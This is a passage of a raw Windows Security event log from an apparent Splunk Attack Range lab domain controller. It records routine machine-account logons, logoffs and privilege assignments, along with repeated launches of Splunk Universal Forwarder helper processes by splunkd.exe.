Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:23:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255613 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x32EE66 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:23:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255616 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x335A6D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:23:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255615 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x335A6D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 64571 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:23:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255614 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x335A6D - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:24:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255617 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x79c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:24:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255618 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x60c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:24:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255620 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf6c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:24:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255619 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x7b0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:24:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255622 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x630 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:24:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255621 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x784 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:24:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255623 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd8c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:24:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255624 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\WIN-DC-725$ - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x32DD03 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:24:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255627 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x33A059 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:24:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255626 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x33A059 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 64583 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:24:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255625 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x33A059 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:25:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255628 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10f8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:25:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255629 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf3c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:25:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255631 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1340 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:25:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255630 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc8c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:25:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255633 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13b8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:25:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255632 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1258 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:25:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255634 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x910 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:25:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255637 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x33D5AD - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:25:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info 